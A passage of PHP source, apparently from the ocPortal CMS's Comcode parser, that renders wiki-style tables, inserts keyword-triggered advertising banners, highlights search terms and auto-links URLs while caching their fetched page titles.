(preg_match('#(^|\\s)floats($|\\s)#',$caption)!=0)\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$caption=preg_replace('#(^|\\s)floats($|\\s)#','',$caption);\n\n\t\t\t\t\t\t\t\t\t\t\t\t$ratios=array();\n\t\t\t\t\t\t\t\t\t\t\t\t$ratios_matches=array();\n\t\t\t\t\t\t\t\t\t\t\t\tif (preg_match('#(^|\\s)([\\d\\.]+%(:[\\d\\.]+%)*)($|\\s)#',$caption,$ratios_matches)!=0)\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t$ratios=explode(':',$ratios_matches[2]);\n\t\t\t\t\t\t\t\t\t\t\t\t\t$caption=str_replace($ratios_matches[0],'',$caption);\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\tforeach ($rows as $h=>$row)\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\tif ($h!=0) $tag_output->attach(do_template('BLOCK_SEPARATOR'));\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t$cells=preg_split('/(\\n\\! | \\!\\! |\\n\\| | \\|\\| )/',$row,-1,PREG_SPLIT_DELIM_CAPTURE);\n\t\t\t\t\t\t\t\t\t\t\t\t\tarray_shift($cells); // First one is non-existant empty\n\t\t\t\t\t\t\t\t\t\t\t\t\t$spec=true;\n\t\t\t\t\t\t\t\t\t\t\t\t\t$num_cells_in_row=count($cells)/2;\n\t\t\t\t\t\t\t\t\t\t\t\t\t$inter_padding=3.0;\n\t\t\t\t\t\t\t\t\t\t\t\t\t$total_box_width=(100.0-$inter_padding*($num_cells_in_row-1));\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t// Find which to float\n\t\t\t\t\t\t\t\t\t\t\t\t\t$to_float=NULL;\n\t\t\t\t\t\t\t\t\t\t\t\t\tforeach ($cells as $i=>$cell)\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tif (!$spec)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif ((strpos($cell,'!')!==false) || (is_null($to_float))) $to_float=$i;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$spec=!$spec;\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('COMCODE_FAKE_TABLE_WRAP_START'));\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t// Do floated one\n\t\t\t\t\t\t\t\t\t\t\t\t\t$i_dir_1=(($to_float==1)?'left':'right');\n\t\t\t\t\t\t\t\t\t\t\t\t\t$i_dir_2=(($to_float!=1)?'left':'right');\n\t\t\t\t\t\t\t\t\t\t\t\t\tif ($num_cells_in_row===1)\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$padding_amount='0';\n\t\t\t\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$padding_amount=float_to_raw_string($inter_padding,2);\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\tif (preg_match('#(^|\\s)wide($|\\s)#',$caption)!=0)\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$cell_i=($to_float===1)?0:(count($cells)-1);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tif (array_key_exists($cell_i,$ratios))\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$width=$ratios[$cell_i];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$width=float_to_raw_string($total_box_width/$num_cells_in_row,2).'%';\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('COMCODE_FAKE_TABLE_WIDE_START',array('_GUID'=>'ced8c3a142f74296a464b085ba6891c9','WIDTH'=>$width,'FLOAT'=>$i_dir_1,'PADDING'=>($to_float==1)?'':'-left','PADDING_AMOUNT'=>$padding_amount)));\n\t\t\t\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('COMCODE_FAKE_TABLE_START',array('_GUID'=>'90be72fcbb6b9d8a312da0bee5b86cb3','WIDTH'=>array_key_exists($to_float,$ratios)?$ratios[$to_float]:'','FLOAT'=>$i_dir_1,'PADDING'=>($to_float==1)?'':'-left','PADDING_AMOUNT'=>$padding_amount)));\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t$attaches_before=count($COMCODE_ATTACHMENTS[$pass_id]);\n\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(comcode_text_to_tempcode(isset($cells[$to_float])?rtrim($cells[$to_float]):'',$source_member,$as_admin,60,$pass_id,$connection,$semiparse_mode,$preparse_mode,$in_semihtml,$structure_sweep,$check_only,$highlight_bits,$on_behalf_of_member));\n\t\t\t\t\t\t\t\t\t\t\t\t\tfor ($attach_inspect=$attaches_before;$attach_inspect<count($COMCODE_ATTACHMENTS[$pass_id]);$attach_inspect++)\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$COMCODE_ATTACHMENTS[$pass_id][$attach_inspect]['marker']+=strpos($comcode,$cells[$to_float],$pos);\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('COMCODE_FAKE_TABLE_END'));\n\t\t\t\t\t\t\t\t\t\t\t\t\t// Do non-floated ones\n\t\t\t\t\t\t\t\t\t\t\t\t\t$cell_i=0;\n\t\t\t\t\t\t\t\t\t\t\t\t\tforeach ($cells as $i=>$cell)\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tif ($i%2==1)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif ($i!=$to_float)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$padding_amount=float_to_raw_string($inter_padding,2);\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif (array_key_exists($cell_i,$ratios))\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$width=$ratios[$cell_i];\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$width=float_to_raw_string($total_box_width/$num_cells_in_row,2).'%';\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif (preg_match('#(^|\\s)wide($|\\s)#',$caption)!=0)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('COMCODE_FAKE_TABLE_WIDE2_START',array('_GUID'=>'9bac42a1b62c5c9a2f758639fcb3bb2f','WIDTH'=>$width,'PADDING_AMOUNT'=>$padding_amount,'FLOAT'=>$i_dir_1,'PADDING'=>(($to_float==1)||($cell_i!=0))?'-left':'')));\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('COMCODE_FAKE_TABLE_2_START',array('_GUID'=>'0f15f9d5554635ed7ac154c9dc5c72b8','WIDTH'=>array_key_exists($cell_i,$ratios)?$ratios[$cell_i]:'','FLOAT'=>$i_dir_1,'PADDING'=>(($to_float==1)||($cell_i!=0))?'-left':'','PADDING_AMOUNT'=>$padding_amount)));\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$attaches_before=count($COMCODE_ATTACHMENTS[$pass_id]);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(comcode_text_to_tempcode(rtrim($cell),$source_member,$as_admin,60,$pass_id,$connection,$semiparse_mode,$preparse_mode,$in_semihtml,$structure_sweep,$check_only,$highlight_bits,$on_behalf_of_member));\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tfor ($attach_inspect=$attaches_before;$attach_inspect<count($COMCODE_ATTACHMENTS[$pass_id]);$attach_inspect++)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$COMCODE_ATTACHMENTS[$pass_id][$attach_inspect]['marker']+=strpos($comcode,$cell,$pos);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('COMCODE_FAKE_TABLE_END'));\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$cell_i++;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('COMCODE_FAKE_TABLE_WRAP_END'));\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$ratios=array();\n\t\t\t\t\t\t\t\t\t\t\t\t$ratios_matches=array();\n\t\t\t\t\t\t\t\t\t\t\t\tif (preg_match('#(^|\\s)([\\d\\.]+%(:[\\d\\.]+%)*)($|\\s)#',$caption,$ratios_matches)!=0)\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t$ratios=explode(':',$ratios_matches[2]);\n\t\t\t\t\t\t\t\t\t\t\t\t\t$caption=str_replace($ratios_matches[0],'',$caption);\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\tif (preg_match('#(^|\\s)wide($|\\s)#',$caption)!=0)\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('COMCODE_REAL_TABLE_START',array('SUMMARY'=>preg_replace('#(^|\\s)wide($|\\s)#','',$caption))));\n\t\t\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('COMCODE_REAL_TABLE_START_SUMMARY',array('_GUID'=>'0c5674fba61ba14b4b9fa39ea31ff54f','CAPTION'=>$caption)));\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\tforeach ($rows as $table_row)\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('COMCODE_REAL_TABLE_ROW_START'));\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t$cells=preg_split('/(\\n\\! | \\!\\! |\\n\\| | \\|\\| )/',$table_row,-1,PREG_SPLIT_DELIM_CAPTURE);\n\t\t\t\t\t\t\t\t\t\t\t\t\tarray_shift($cells); // First one is non-existant empty\n\t\t\t\t\t\t\t\t\t\t\t\t\t$spec=true;\n\t\t\t\t\t\t\t\t\t\t\t\t\t$c_type='';\n\t\t\t\t\t\t\t\t\t\t\t\t\t$cell_i=0;\n\t\t\t\t\t\t\t\t\t\t\t\t\tforeach ($cells as $i=>$cell)\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tif ($spec)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$c_type=(strpos($cell,'!')!==false)?'th':'td';\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$attaches_before=count($COMCODE_ATTACHMENTS[$pass_id]);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$_mid=comcode_text_to_tempcode(rtrim($cell),$source_member,$as_admin,60,$pass_id,$connection,$semiparse_mode,$preparse_mode,$in_semihtml,$structure_sweep,$check_only,$highlight_bits,$on_behalf_of_member);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tfor ($attach_inspect=$attaches_before;$attach_inspect<count($COMCODE_ATTACHMENTS[$pass_id]);$attach_inspect++)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$COMCODE_ATTACHMENTS[$pass_id][$attach_inspect]['marker']+=strpos($comcode,$cell,$pos);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('COMCODE_REAL_TABLE_CELL',array('_GUID'=>'6640df8b503f65e3d36f595b0acf7600','WIDTH'=>array_key_exists($cell_i,$ratios)?$ratios[$cell_i]:'','C_TYPE'=>$c_type,'MID'=>$_mid,'PADDING'=>($cell_i==0)?'':'-left','PADDING_AMOUNT'=>(count($cells)==2)?'0':float_to_raw_string(5.0/(floatval(count($cells)-2)/2.0),2))));\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$cell_i++;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$spec=!$spec;\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('COMCODE_REAL_TABLE_ROW_END'));\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach(do_template('COMCODE_REAL_TABLE_END'));\n\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t$pos=$end_tbl+3;\n\t\t\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Advertising\n\t\t\t\t\t\t\t\tif ((!$differented) && (!$semiparse_mode) && (!$in_code_tag) && (addon_installed('banners')) && (($b_all) || (!has_specific_permission($source_member,'banner_free'))))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t// Pick up correctly, including permission filtering\n\t\t\t\t\t\t\t\t\tif (is_null($ADVERTISING_BANNERS))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$ADVERTISING_BANNERS=array();\n\n\t\t\t\t\t\t\t\t\t\t$rows=$GLOBALS['SITE_DB']->query('SELECT * FROM '.get_table_prefix().'banners b LEFT JOIN '.get_table_prefix().'banner_types t ON b.b_type=t.id WHERE t_comcode_inline=1 AND '.db_string_not_equal_to('b_title_text',''),NULL,NULL,true);\n\t\t\t\t\t\t\t\t\t\tif (!is_null($rows))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t// Filter out what we don't have permission for\n\t\t\t\t\t\t\t\t\t\t\tif (get_option('use_banner_permissions',true)=='1')\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\trequire_code('permissions');\n\t\t\t\t\t\t\t\t\t\t\t\t$groups=_get_where_clause_groups($source_member);\n\t\t\t\t\t\t\t\t\t\t\t\tif (!is_null($groups))\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t$perhaps=collapse_1d_complexity('category_name',$GLOBALS['SITE_DB']->query('SELECT category_name FROM '.get_table_prefix().'group_category_access WHERE '.db_string_equal_to('module_the_name','banners').' AND ('.$groups.')'));\n\t\t\t\t\t\t\t\t\t\t\t\t\t$new_rows=array();\n\t\t\t\t\t\t\t\t\t\t\t\t\tforeach ($rows as $row)\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tif (in_array($row['name'],$perhaps)) $new_rows[]=$row;\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t$rows=$new_rows;\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\tforeach ($rows as $row)\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$trigger_text=$row['b_title_text'];\n\t\t\t\t\t\t\t\t\t\t\t\tforeach (explode(',',$trigger_text) as $t)\n\t\t\t\t\t\t\t\t\t\t\t\t\tif (trim($t)!='') $ADVERTISING_BANNERS[trim($t)]=$row;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t// Apply\n\t\t\t\t\t\t\t\t\tif (!is_null($ADVERTISING_BANNERS))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tforeach ($ADVERTISING_BANNERS as $ad_trigger=>$ad_bits)\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif (strtolower($next)==strtolower($ad_trigger[0])) // optimisation\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\tif (strtolower(substr($comcode,$pos-1,strlen($ad_trigger)))==strtolower($ad_trigger))\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\trequire_code('banners');\n\t\t\t\t\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t\t\t\t\t\t\t\t$continuation='';\n\t\t\t\t\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t\t\t\t\t\t$ad_text=show_banner($ad_bits['name'],$ad_bits['b_title_text'],get_translated_tempcode($ad_bits['caption']),$ad_bits['img_url'],'',$ad_bits['site_url'],$ad_bits['b_type']);\n\t\t\t\t\t\t\t\t\t\t\t\t\t$embed_output=_do_tags_comcode('tooltip',array('param'=>$ad_text,'url'=>(url_is_local($ad_bits['site_url']) && ($ad_bits['site_url']!=''))?(get_custom_base_url().'/'.$ad_bits['site_url']):$ad_bits['site_url']),substr($comcode,$pos-1,strlen($ad_trigger)),$comcode_dangerous,$pass_id,$pos,$source_member,$as_admin,$connection,$comcode,$wml,$structure_sweep,$semiparse_mode,$highlight_bits);\n\t\t\t\t\t\t\t\t\t\t\t\t\t$pos+=strlen($ad_trigger)-1;\n\t\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach($embed_output);\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Search highlighting lookahead\n\t\t\t\t\t\t\t\tif ((!$differented) && (!is_null($highlight_bits)))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tforeach ($highlight_bits as $highlight_bit)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tif (strtolower($next)==strtolower($highlight_bit[0])) // optimisation\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif (strtolower(substr($comcode,$pos-1,strlen($highlight_bit)))==strtolower($highlight_bit))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t\t\t\t\t\t\t$continuation='';\n\t\t\t\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t\t\t\t\t$embed_output=_do_tags_comcode('highlight',array(),escape_html(substr($comcode,$pos-1,strlen($highlight_bit))),$comcode_dangerous,$pass_id,$pos,$source_member,$as_admin,$connection,$comcode,$wml,$structure_sweep,$semiparse_mode,$highlight_bits);\n\t\t\t\t\t\t\t\t\t\t\t\t$pos+=strlen($highlight_bit)-1;\n\t\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach($embed_output);\n\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Link lookahead\n\t\t\t\t\t\t\t\tif ((!$differented) && (!$in_code_tag))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif ((!$in_semihtml) && ($next=='h') && ((substr($comcode,$pos-1,strlen('http://'))=='http://') || (substr($comcode,$pos-1,strlen('https://'))=='https://') || (substr($comcode,$pos-1,strlen('ftp://'))=='ftp://')))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$link_end_pos=strpos($comcode,' ',$pos-1);\n\t\t\t\t\t\t\t\t\t\t$link_end_pos_2=strpos($comcode,chr(10),$pos-1);\n\t\t\t\t\t\t\t\t\t\t$link_end_pos_3=strpos($comcode,'[',$pos-1);\n\t\t\t\t\t\t\t\t\t\t$link_end_pos_4=strpos($comcode,')',$pos-1);\n\t\t\t\t\t\t\t\t\t\t$link_end_pos_5=strpos($comcode,'\"',$pos-1);\n\t\t\t\t\t\t\t\t\t\t$link_end_pos_6=strpos($comcode,'>',$pos-1);\n\t\t\t\t\t\t\t\t\t\t$link_end_pos_7=strpos($comcode,'<',$pos-1);\n\t\t\t\t\t\t\t\t\t\t$link_end_pos_8=strpos($comcode,'.'.chr(10),$pos-1);\n\t\t\t\t\t\t\t\t\t\t$link_end_pos_9=strpos($comcode,', ',$pos-1);\n\t\t\t\t\t\t\t\t\t\t$link_end_pos_10=strpos($comcode,'. ',$pos-1);\n\t\t\t\t\t\t\t\t\t\t$link_end_pos_11=strpos($comcode,\"'\",$pos-1);\n\t\t\t\t\t\t\t\t\t\t$link_end_pos_12=strpos($comcode,'&nbsp;',$pos-1);\n\t\t\t\t\t\t\t\t\t\tif (($link_end_pos_2!==false) && (($link_end_pos===false) || ($link_end_pos_2<$link_end_pos))) $link_end_pos=$link_end_pos_2;\n\t\t\t\t\t\t\t\t\t\tif (($link_end_pos_3!==false) && (($link_end_pos===false) || ($link_end_pos_3<$link_end_pos))) $link_end_pos=$link_end_pos_3;\n\t\t\t\t\t\t\t\t\t\tif (($link_end_pos_4!==false) && (($link_end_pos===false) || ($link_end_pos_4<$link_end_pos))) $link_end_pos=$link_end_pos_4;\n\t\t\t\t\t\t\t\t\t\tif (($link_end_pos_5!==false) && (($link_end_pos===false) || ($link_end_pos_5<$link_end_pos))) $link_end_pos=$link_end_pos_5;\n\t\t\t\t\t\t\t\t\t\tif (($link_end_pos_6!==false) && (($link_end_pos===false) || ($link_end_pos_6<$link_end_pos))) $link_end_pos=$link_end_pos_6;\n\t\t\t\t\t\t\t\t\t\tif (($link_end_pos_7!==false) && (($link_end_pos===false) || ($link_end_pos_7<$link_end_pos))) $link_end_pos=$link_end_pos_7;\n\t\t\t\t\t\t\t\t\t\tif (($link_end_pos_8!==false) && (($link_end_pos===false) || ($link_end_pos_8<$link_end_pos))) $link_end_pos=$link_end_pos_8;\n\t\t\t\t\t\t\t\t\t\tif (($link_end_pos_9!==false) && (($link_end_pos===false) || ($link_end_pos_9<$link_end_pos))) $link_end_pos=$link_end_pos_9;\n\t\t\t\t\t\t\t\t\t\tif (($link_end_pos_10!==false) && (($link_end_pos===false) || ($link_end_pos_10<$link_end_pos))) $link_end_pos=$link_end_pos_10;\n\t\t\t\t\t\t\t\t\t\tif (($link_end_pos_11!==false) && (($link_end_pos===false) || ($link_end_pos_11<$link_end_pos))) $link_end_pos=$link_end_pos_11;\n\t\t\t\t\t\t\t\t\t\tif (($link_end_pos_12!==false) && (($link_end_pos===false) || ($link_end_pos_12<$link_end_pos))) $link_end_pos=$link_end_pos_12;\n\t\t\t\t\t\t\t\t\t\tif ($link_end_pos===false) $link_end_pos=strlen($comcode);\n\t\t\t\t\t\t\t\t\t\t$auto_link=preg_replace('#(keep|for)_session=[\\d\\w]*#','filtered=1',substr($comcode,$pos-1,$link_end_pos-$pos+1));\n\t\t\t\t\t\t\t\t\t\tif (substr($auto_link,-3)!='://')\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif (substr($auto_link,-1)=='.')\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$auto_link=substr($auto_link,0,strlen($auto_link)-1);\n\t\t\t\t\t\t\t\t\t\t\t\t$link_end_pos--;\n\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t$auto_link_tempcode=new ocp_tempcode();\n\t\t\t\t\t\t\t\t\t\t\t$auto_link_tempcode->attach($auto_link);\n\t\t\t\t\t\t\t\t\t\t\tif (!$check_only)\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$link_captions_title=$GLOBALS['SITE_DB']->query_value_null_ok('url_title_cache','t_title',array('t_url'=>$auto_link));\n\n\t\t\t\t\t\t\t\t\t\t\t\tif ((is_null($link_captions_title)) || (substr($link_captions_title,0,1)=='!'))\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t$GLOBALS['COMCODE_PARSE_URLS_CHECKED']++;\n\t\t\t\t\t\t\t\t\t\t\t\t\tif (($GLOBALS['NO_LINK_TITLES']) || ($GLOBALS['COMCODE_PARSE_URLS_CHECKED']>=MAX_URLS_TO_READ))\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$link_captions_title=$auto_link;\n\t\t\t\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$link_captions_title='';\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$downloaded_at_link=http_download_file($auto_link,3000,false);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tif ((is_string($downloaded_at_link)) && ($GLOBALS['HTTP_DOWNLOAD_MIME_TYPE']!==NULL) && (strpos($GLOBALS['HTTP_DOWNLOAD_MIME_TYPE'],'html')!==false) && ($GLOBALS['HTTP_MESSAGE']=='200'))\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$matches=array();\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif (preg_match('#\\s*<title[^>]*\\s*>\\s*(.*)\\s*\\s*<\\s*/title\\s*>#miU',$downloaded_at_link,$matches)!=0)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\trequire_code('character_sets');\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$link_captions_title=trim(str_replace('&ndash;','-',str_replace('&mdash;','-',@html_entity_decode(convert_to_internal_encoding($matches[1]),ENT_QUOTES,get_charset()))));\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif (((strpos(strtolower($link_captions_title),'login')!==false) || (strpos(strtolower($link_captions_title),'log in')!==false)) && (substr($auto_link,0,strlen(get_base_url()))==get_base_url()))\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$link_captions_title=''; // don't show login screen titles for our own website. Better to see the link verbatim\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$GLOBALS['SITE_DB']->query_insert('url_title_cache',array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t't_url'=>substr($auto_link,0,255),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t't_title'=>substr($link_captions_title,0,255),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t),false,true); // To stop weird race-like 